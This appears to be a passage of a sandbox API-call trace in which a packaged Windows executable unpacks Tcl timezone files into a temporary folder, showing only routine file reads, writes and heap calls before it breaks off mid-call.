lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.357] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.357] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.357] GetFileType (hFile=0x10c) returned 0x1 [0039.357] htonl (hostlong=0xc1fe5900) returned 0x59fec1 [0039.357] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5eaec1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.357] htonl (hostlong=0x9b000000) returned 0x9b [0039.357] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9b) returned 0x55cfe0 [0039.357] htonl (hostlong=0x9b000000) returned 0x9b [0039.357] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.358] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.358] htonl (hostlong=0xb3000000) returned 0xb3 [0039.358] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb3) returned 0x550600 [0039.358] htonl (hostlong=0x9b000000) returned 0x9b [0039.358] htonl (hostlong=0xb3000000) returned 0xb3 [0039.358] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.358] CloseHandle (hObject=0x10c) returned 1 [0039.358] GetLastError () returned 0x0 [0039.358] SetLastError (dwErrCode=0x0) [0039.358] GetLastError () returned 0x0 [0039.358] SetLastError (dwErrCode=0x0) [0039.358] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.359] GetFileType (hFile=0x10c) returned 0x1 [0039.359] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.359] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.359] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.359] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.359] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.359] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.359] CloseHandle (hObject=0x10c) returned 1 [0039.359] GetLastError () returned 0x0 [0039.359] SetLastError (dwErrCode=0x0) [0039.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.359] GetFileType (hFile=0x10c) returned 0x1 [0039.359] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.359] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.359] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.359] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.360] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.360] CloseHandle (hObject=0x10c) returned 1 [0039.360] GetLastError () returned 0x0 [0039.360] SetLastError (dwErrCode=0x0) [0039.360] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.360] GetFileType (hFile=0x10c) returned 0x1 [0039.360] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.360] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.360] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.360] CloseHandle (hObject=0x10c) returned 1 [0039.361] GetLastError () returned 0x0 [0039.361] SetLastError (dwErrCode=0x0) [0039.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Panama") returned 71 [0039.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Panama" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\panama"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.361] GetLastError () returned 0x2 [0039.361] SetLastError (dwErrCode=0x2) [0039.361] GetLastError () returned 0x2 [0039.361] SetLastError (dwErrCode=0x2) [0039.361] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Panama", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Panama", lpFilePart=0x0) returned 0x46 [0039.361] GetLastError () returned 0x2 [0039.361] SetLastError (dwErrCode=0x2) [0039.361] GetLastError () returned 0x2 [0039.361] SetLastError (dwErrCode=0x2) [0039.361] GetLastError () returned 0x2 [0039.361] SetLastError (dwErrCode=0x2) [0039.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Panama") returned 71 [0039.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Panama" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\panama"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.361] GetFileType (hFile=0x10c) returned 0x1 [0039.362] htonl (hostlong=0xb3000000) returned 0xb3 [0039.362] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.362] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb3, lpOverlapped=0x0) returned 1 [0039.363] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.363] CloseHandle (hObject=0x10c) returned 1 [0039.363] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.364] htonl (hostlong=0x30000000) returned 0x30 [0039.364] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.364] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.364] GetFileType (hFile=0x10c) returned 0x1 [0039.364] htonl (hostlong=0x5cff5900) returned 0x59ff5c [0039.364] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5eaf5c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.364] htonl (hostlong=0xfc050000) returned 0x5fc [0039.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5fc) returned 0x550600 [0039.364] htonl (hostlong=0xfc050000) returned 0x5fc [0039.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.364] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.364] htonl (hostlong=0x3c1d0000) returned 0x1d3c [0039.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1d3c) returned 0x561090 [0039.364] htonl (hostlong=0xfc050000) returned 0x5fc [0039.364] htonl (hostlong=0x3c1d0000) returned 0x1d3c [0039.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562dd8 [0039.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562dd8 | out: hHeap=0x530000) returned 1 [0039.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.364] CloseHandle (hObject=0x10c) returned 1 [0039.365] GetLastError () returned 0x0 [0039.365] SetLastError (dwErrCode=0x0) [0039.365] GetLastError () returned 0x0 [0039.365] SetLastError (dwErrCode=0x0) [0039.365] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.365] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.365] GetFileType (hFile=0x10c) returned 0x1 [0039.365] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.365] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.365] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.365] CloseHandle (hObject=0x10c) returned 1 [0039.365] GetLastError () returned 0x0 [0039.365] SetLastError (dwErrCode=0x0) [0039.365] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.365] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.365] GetFileType (hFile=0x10c) returned 0x1 [0039.365] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.365] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.366] CloseHandle (hObject=0x10c) returned 1 [0039.366] GetLastError () returned 0x0 [0039.366] SetLastError (dwErrCode=0x0) [0039.366] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.366] GetFileType (hFile=0x10c) returned 0x1 [0039.366] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.366] CloseHandle (hObject=0x10c) returned 1 [0039.366] GetLastError () returned 0x0 [0039.367] SetLastError (dwErrCode=0x0) [0039.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Pangnirtung") returned 76 [0039.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Pangnirtung" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\pangnirtung"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.367] GetLastError () returned 0x2 [0039.367] SetLastError (dwErrCode=0x2) [0039.367] GetLastError () returned 0x2 [0039.367] SetLastError (dwErrCode=0x2) [0039.367] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Pangnirtung", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Pangnirtung", lpFilePart=0x0) returned 0x4b [0039.367] GetLastError () returned 0x2 [0039.367] SetLastError (dwErrCode=0x2) [0039.367] GetLastError () returned 0x2 [0039.367] SetLastError (dwErrCode=0x2) [0039.367] GetLastError () returned 0x2 [0039.367] SetLastError (dwErrCode=0x2) [0039.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Pangnirtung") returned 76 [0039.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Pangnirtung" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\pangnirtung"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.421] GetFileType (hFile=0x10c) returned 0x1 [0039.421] htonl (hostlong=0x3c1d0000) returned 0x1d3c [0039.421] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.422] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.422] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd3c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd3c, lpOverlapped=0x0) returned 1 [0039.423] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.423] CloseHandle (hObject=0x10c) returned 1 [0039.424] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.425] htonl (hostlong=0x40000000) returned 0x40 [0039.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.425] GetFileType (hFile=0x10c) returned 0x1 [0039.425] htonl (hostlong=0x58055a00) returned 0x5a0558 [0039.425] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5eb558, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.425] htonl (hostlong=0xbd000000) returned 0xbd [0039.425] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, 